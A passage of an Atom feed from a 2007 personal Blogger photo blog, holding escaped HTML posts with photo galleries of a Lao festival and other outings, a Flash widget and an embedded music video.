href='http://www.blogger.com/feeds/7705119745791690074/posts/default/8984508101029515803'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/8984508101029515803'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2007/10/picasa-web-albums-inthasanh.html' title='Picasa Web Albums - inthasanh'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>223</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-455676019884026956</id><published>2007-09-24T00:08:00.000-07:00</published><updated>2007-09-24T00:14:06.599-07:00</updated><title type='text'>Lao Festival 2007 09 23</title><content type='html'>&lt;div style="OVERFLOW: auto; WIDTH: 400px; HEIGHT: 300px"&gt;&lt;table style="WIDTH: 250px" cellspacing="0" cellpadding="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_CBcs4tyLyx4/Rvdjc3UOy0I/AAAAAAAAAUs/b5VBYOY71YE/s1600-h/DSCF5265.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5113665249438780226" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://3.bp.blogspot.com/_CBcs4tyLyx4/Rvdjc3UOy0I/AAAAAAAAAUs/b5VBYOY71YE/s400/DSCF5265.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_CBcs4tyLyx4/RvdjdXUOy1I/AAAAAAAAAU0/KvMSgJo50O8/s1600-h/DSCF5266.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5113665258028714834" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://1.bp.blogspot.com/_CBcs4tyLyx4/RvdjdXUOy1I/AAAAAAAAAU0/KvMSgJo50O8/s400/DSCF5266.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_CBcs4tyLyx4/RvdjdnUOy2I/AAAAAAAAAU8/x-iPffTbc1A/s1600-h/DSCF5286.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5113665262323682146" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://2.bp.blogspot.com/_CBcs4tyLyx4/RvdjdnUOy2I/AAAAAAAAAU8/x-iPffTbc1A/s400/DSCF5286.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_CBcs4tyLyx4/Rvdjd3UOy3I/AAAAAAAAAVE/gL_pMa7iw2I/s1600-h/DSCF5293.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5113665266618649458" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://3.bp.blogspot.com/_CBcs4tyLyx4/Rvdjd3UOy3I/AAAAAAAAAVE/gL_pMa7iw2I/s400/DSCF5293.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_CBcs4tyLyx4/RvdjeHUOy4I/AAAAAAAAAVM/Xq5tYxnN064/s1600-h/DSCF5298.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5113665270913616770" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://4.bp.blogspot.com/_CBcs4tyLyx4/RvdjeHUOy4I/AAAAAAAAAVM/Xq5tYxnN064/s400/DSCF5298.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;yoyoki koen&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-455676019884026956?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/455676019884026956/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=455676019884026956&amp;isPopup=true' title='17 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/455676019884026956'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/455676019884026956'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2007/09/lao-festival-2007-09-23.html' title='Lao Festival 2007 09 23'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_CBcs4tyLyx4/Rvdjc3UOy0I/AAAAAAAAAUs/b5VBYOY71YE/s72-c/DSCF5265.JPG' height='72' width='72'/><thr:total>17</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-6250086594239476992</id><published>2007-09-17T07:31:00.001-07:00</published><updated>2007-09-17T07:41:44.065-07:00</updated><title type='text'></title><content type='html'>&lt;div style="overflow: auto; height: 300px; width: 400px;"&gt;&lt;table style="width: 250px;" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;div&gt;&lt;embed src="http://widget-c0.slide.com/widgets/themepic.swf" type="application/x-shockwave-flash" quality="high" scale="noscale" salign="l" wmode="transparent" flashvars="cy=h5&amp;amp;il=1&amp;amp;channel=648518346353309120&amp;amp;site=widget-c0.slide.com" style="width: 440px; height: 400px;" name="flashticker" align="middle"&gt;&lt;/embed&gt;&lt;div style="width: 440px; text-align: left;"&gt;&lt;a href="http://www.slide.com/pivot?cy=h5&amp;amp;ad=0&amp;amp;id=648518346353309120&amp;amp;map=A" target="_blank"&gt;&lt;img src="http://widget-c0.slide.com/z1/648518346353309120/h5_t000_v000_a000_f00/images/xslide1.gif" ismap="ismap" border="0" /&gt;&lt;/a&gt; &lt;a href="http://www.slide.com/pivot?cy=h5&amp;amp;ad=0&amp;amp;id=648518346353309120&amp;amp;map=B" target="_blank"&gt;&lt;img src="http://widget-c0.slide.com/z2/648518346353309120/h5_t000_v000_a000_f00/images/xslide4.gif" ismap="ismap" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-6250086594239476992?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/6250086594239476992/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=6250086594239476992&amp;isPopup=true' title='17 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6250086594239476992'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6250086594239476992'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2007/09/blog-post_17.html' title=''/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>17</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-3497909124531797261</id><published>2007-08-31T04:14:00.000-07:00</published><updated>2007-08-31T04:44:54.920-07:00</updated><title type='text'></title><content type='html'>&lt;div style="overflow: auto; height: 300px; width: 400px;"&gt;&lt;table style="width: 250px;" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_CBcs4tyLyx4/Rtf-KGcjQoI/AAAAAAAAASk/ZQYK6dEXJYQ/s1600-h/DSC00182.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://1.bp.blogspot.com/_CBcs4tyLyx4/Rtf-KGcjQoI/AAAAAAAAASk/ZQYK6dEXJYQ/s400/DSC00182.JPG" alt="" id="BLOGGER_PHOTO_ID_5104828152130257538" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_CBcs4tyLyx4/Rtf-KGcjQpI/AAAAAAAAASs/lkgS5r0B5ig/s1600-h/DSC00240.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://1.bp.blogspot.com/_CBcs4tyLyx4/Rtf-KGcjQpI/AAAAAAAAASs/lkgS5r0B5ig/s400/DSC00240.JPG" alt="" id="BLOGGER_PHOTO_ID_5104828152130257554" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-3497909124531797261?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/3497909124531797261/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=3497909124531797261&amp;isPopup=true' title='17 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/3497909124531797261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/3497909124531797261'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2007/08/scroll-test.html' title=''/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_CBcs4tyLyx4/Rtf-KGcjQoI/AAAAAAAAASk/ZQYK6dEXJYQ/s72-c/DSC00182.JPG' height='72' width='72'/><thr:total>17</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-7730980784689193914</id><published>2007-08-06T05:55:00.000-07:00</published><updated>2007-08-06T06:04:14.259-07:00</updated><title type='text'></title><content type='html'>&lt;a href="http://3.bp.blogspot.com/_CBcs4tyLyx4/RrccMXQw6AI/AAAAAAAAAQM/o1tL_1pQPtI/s1600-h/DSCF4902.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5095572502121342978" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://3.bp.blogspot.com/_CBcs4tyLyx4/RrccMXQw6AI/AAAAAAAAAQM/o1tL_1pQPtI/s400/DSCF4902.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_CBcs4tyLyx4/RrccMnQw6BI/AAAAAAAAAQU/zSaALmcplPY/s1600-h/DSCF4938.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5095572506416310290" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://4.bp.blogspot.com/_CBcs4tyLyx4/RrccMnQw6BI/AAAAAAAAAQU/zSaALmcplPY/s400/DSCF4938.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_CBcs4tyLyx4/RrccM3Qw6CI/AAAAAAAAAQc/qZ9UtCpNvrs/s1600-h/DSCF5013.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5095572510711277602" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://1.bp.blogspot.com/_CBcs4tyLyx4/RrccM3Qw6CI/AAAAAAAAAQc/qZ9UtCpNvrs/s400/DSCF5013.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_CBcs4tyLyx4/RrccNHQw6DI/AAAAAAAAAQk/YRD9HVzH9Sg/s1600-h/DSCF5049.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5095572515006244914" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://2.bp.blogspot.com/_CBcs4tyLyx4/RrccNHQw6DI/AAAAAAAAAQk/YRD9HVzH9Sg/s400/DSCF5049.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_CBcs4tyLyx4/RrccNXQw6EI/AAAAAAAAAQs/6_yXqxlsuew/s1600-h/DSCF5157.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5095572519301212226" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://3.bp.blogspot.com/_CBcs4tyLyx4/RrccNXQw6EI/AAAAAAAAAQs/6_yXqxlsuew/s400/DSCF5157.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://1.bp.blogspot.com/_CBcs4tyLyx4/Rrcba3Qw57I/AAAAAAAAAPk/g3SbNo0CPNw/s1600-h/DSCF4942.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5095571651717818290" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://1.bp.blogspot.com/_CBcs4tyLyx4/Rrcba3Qw57I/AAAAAAAAAPk/g3SbNo0CPNw/s400/DSCF4942.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_CBcs4tyLyx4/RrcbbXQw58I/AAAAAAAAAPs/CdvV4qZ2nUs/s1600-h/DSCF4984.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5095571660307752898" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://3.bp.blogspot.com/_CBcs4tyLyx4/RrcbbXQw58I/AAAAAAAAAPs/CdvV4qZ2nUs/s400/DSCF4984.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_CBcs4tyLyx4/RrcbcHQw59I/AAAAAAAAAP0/WY8HJI9l44A/s1600-h/DSCF5127.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5095571673192654802" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://2.bp.blogspot.com/_CBcs4tyLyx4/RrcbcHQw59I/AAAAAAAAAP0/WY8HJI9l44A/s400/DSCF5127.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_CBcs4tyLyx4/RrcbcnQw5-I/AAAAAAAAAP8/y52XOml7uaE/s1600-h/DSCF5093.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5095571681782589410" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://4.bp.blogspot.com/_CBcs4tyLyx4/RrcbcnQw5-I/AAAAAAAAAP8/y52XOml7uaE/s400/DSCF5093.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_CBcs4tyLyx4/Rrcbc3Qw5_I/AAAAAAAAAQE/prWVfT-752Q/s1600-h/DSCF4998.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5095571686077556722" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://1.bp.blogspot.com/_CBcs4tyLyx4/Rrcbc3Qw5_I/AAAAAAAAAQE/prWVfT-752Q/s400/DSCF4998.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-7730980784689193914?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/7730980784689193914/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=7730980784689193914&amp;isPopup=true' title='17 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/7730980784689193914'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/7730980784689193914'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2007/08/blog-post_06.html' title=''/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_CBcs4tyLyx4/RrccMXQw6AI/AAAAAAAAAQM/o1tL_1pQPtI/s72-c/DSCF4902.JPG' height='72' width='72'/><thr:total>17</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-7498811465791784902</id><published>2007-08-06T05:40:00.000-07:00</published><updated>2007-08-06T05:47:23.585-07:00</updated><title type='text'></title><content type='html'>&lt;a href="http://2.bp.blogspot.com/_CBcs4tyLyx4/RrcXRHQw52I/AAAAAAAAAO8/qc4u26Mdjok/s1600-h/DSCF4865.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5095567086167582562" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://2.bp.blogspot.com/_CBcs4tyLyx4/RrcXRHQw52I/AAAAAAAAAO8/qc4u26Mdjok/s400/DSCF4865.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_CBcs4tyLyx4/RrcXRnQw53I/AAAAAAAAAPE/Jwmz728t7fE/s1600-h/DSCF4916.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5095567094757517170" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://4.bp.blogspot.com/_CBcs4tyLyx4/RrcXRnQw53I/AAAAAAAAAPE/Jwmz728t7fE/s400/DSCF4916.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_CBcs4tyLyx4/RrcXR3Qw54I/AAAAAAAAAPM/EsgZP-hoT6I/s1600-h/DSCF4891.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5095567099052484482" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://1.bp.blogspot.com/_CBcs4tyLyx4/RrcXR3Qw54I/AAAAAAAAAPM/EsgZP-hoT6I/s400/DSCF4891.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_CBcs4tyLyx4/RrcXSXQw55I/AAAAAAAAAPU/O9-yNshvKmY/s1600-h/DSCF4980.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5095567107642419090" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://3.bp.blogspot.com/_CBcs4tyLyx4/RrcXSXQw55I/AAAAAAAAAPU/O9-yNshvKmY/s400/DSCF4980.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_CBcs4tyLyx4/RrcXS3Qw56I/AAAAAAAAAPc/35JWH2c-Nas/s1600-h/DSCF5000.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5095567116232353698" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://1.bp.blogspot.com/_CBcs4tyLyx4/RrcXS3Qw56I/AAAAAAAAAPc/35JWH2c-Nas/s400/DSCF5000.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-7498811465791784902?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/7498811465791784902/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=7498811465791784902&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/7498811465791784902'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/7498811465791784902'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2007/08/blog-post.html' title=''/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_CBcs4tyLyx4/RrcXRHQw52I/AAAAAAAAAO8/qc4u26Mdjok/s72-c/DSCF4865.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-1038026470298259018</id><published>2007-07-17T06:09:00.000-07:00</published><updated>2007-07-17T06:12:05.155-07:00</updated><title type='text'></title><content type='html'>&lt;a href="http://4.bp.blogspot.com/_CBcs4tyLyx4/RpzAEAixwQI/AAAAAAAAAM0/R_OAEuovwqo/s1600-h/DSCF4726.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5088152854119694594" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://4.bp.blogspot.com/_CBcs4tyLyx4/RpzAEAixwQI/AAAAAAAAAM0/R_OAEuovwqo/s400/DSCF4726.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;Seaday 2007/07/16&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-1038026470298259018?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/1038026470298259018/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=1038026470298259018&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/1038026470298259018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/1038026470298259018'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2007/07/seaday-20070716.html' title=''/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_CBcs4tyLyx4/RpzAEAixwQI/AAAAAAAAAM0/R_OAEuovwqo/s72-c/DSCF4726.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-6122827924226836119</id><published>2007-07-13T05:28:00.000-07:00</published><updated>2007-07-13T05:29:10.938-07:00</updated><title type='text'></title><content type='html'>&lt;div&gt;&lt;object width="425" height="364"&gt;&lt;param name="movie" value="http://www.dailymotion.com/swf/6fM84im3k8mNu8vF"&gt;&lt;/param&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.dailymotion.com/swf/6fM84im3k8mNu8vF" type="application/x-shockwave-flash" width="425" height="364" allowfullscreen="true"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.dailymotion.com/video/xp8r_juanes-la-camisa-negra-buena"&gt;Juanes - La Camisa Negra (buena)&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Uploaded by &lt;a href="http://www.dailymotion.com/aline1"&gt;aline1&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-6122827924226836119?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/6122827924226836119/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=6122827924226836119&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6122827924226836119'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6122827924226836119'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2007/07/juanes-la-camisa-negra-buena-uploaded.html' title=''/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-7546359902039089763</id><published>2007-07-07T20:51:00.001-07:00</published><updated>2007-07-14T03:09:03.327-07:00</updated><title type='text'></title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://datpin.blogspot.com/"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://4.bp.blogspot.com/_CBcs4tyLyx4/RpBgRcDkFYI/AAAAAAAAAME/D07WIZ1VkPc/s400/DSC00388.JPG" alt="" id="BLOGGER_PHOTO_ID_5084669832006473090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_CBcs4tyLyx4/RpBgRcDkFZI/AAAAAAAAAMM/Y1sYzB2tEPc/s1600-h/DSC00402.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://4.bp.blogspot.com/_CBcs4tyLyx4/RpBgRcDkFZI/AAAAAAAAAMM/Y1sYzB2tEPc/s400/DSC00402.JPG" alt="" id="BLOGGER_PHOTO_ID_5084669832006473106" border="0" /&gt;&lt;/a&gt;More picture &lt;a href="http://datpin.blogspot.com/"&gt;click here&lt;/a&gt;:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_CBcs4tyLyx4/RpBgRsDkFaI/AAAAAAAAAMU/T8ErSyekBwU/s1600-h/DSC00400.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://1.bp.blogspot.com/_CBcs4tyLyx4/RpBgRsDkFaI/AAAAAAAAAMU/T8ErSyekBwU/s400/DSC00400.JPG" alt="" id="BLOGGER_PHOTO_ID_5084669836301440418" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_CBcs4tyLyx4/RpBgRsDkFbI/AAAAAAAAAMc/2ZxwkpSrvEY/s1600-h/DSC00191.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://1.bp.blogspot.com/_CBcs4tyLyx4/RpBgRsDkFbI/AAAAAAAAAMc/2ZxwkpSrvEY/s400/DSC00191.JPG" alt="" id="BLOGGER_PHOTO_ID_5084669836301440434" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_CBcs4tyLyx4/RpBgR8DkFcI/AAAAAAAAAMk/L2J6ip9T27Y/s1600-h/DSC00214.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://2.bp.blogspot.com/_CBcs4tyLyx4/RpBgR8DkFcI/AAAAAAAAAMk/L2J6ip9T27Y/s400/DSC00214.JPG" alt="" id="BLOGGER_PHOTO_ID_5084669840596407746" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-7546359902039089763?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/7546359902039089763/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=7546359902039089763&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/7546359902039089763'/><link rel='self' type='application/atom+xml' 